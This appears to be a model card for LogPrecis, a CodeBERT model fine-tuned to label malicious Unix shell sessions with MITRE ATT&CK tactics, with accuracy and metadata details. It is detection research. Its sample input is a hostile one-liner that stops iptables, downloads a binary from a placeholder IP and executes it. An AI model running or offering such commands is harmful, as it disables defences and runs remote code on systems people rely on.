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+ [LogPrecis](https://arxiv.org/abs/2307.08309) is a [Codebert](microsoft/codebert-base) model fine-tuned for **Token Classification**.
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+ The model was previously domain-adapted using a corpus of **>20k Unix sessions**.
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+ Specifically, LogPrecis is designed for the analysis of **malicious Unix logs**. Given as input a Unix session:
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+ ```shell
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+ etc/init.d/iptables stop ; wget –c http://10.10.10.10:8080/exec ; chmod 777 exec ; ./exec ;
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+ ```
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+ LogPrecis outputs the sequence of [Mitre Tactics](https://attack.mitre.org/tactics/enterprise/):
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+ `Impact x 3 -- Execution x 10`
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+ LogPrecis achieved a **91.2% accuracy** on the test set. Its training code and data are available [here](https://github.com/SmartData-Polito/logprecis).
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+ ---
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+ metrics:
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+ - accuracy
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+ - rouge
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+ pipeline_tag: token-classification
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+ ---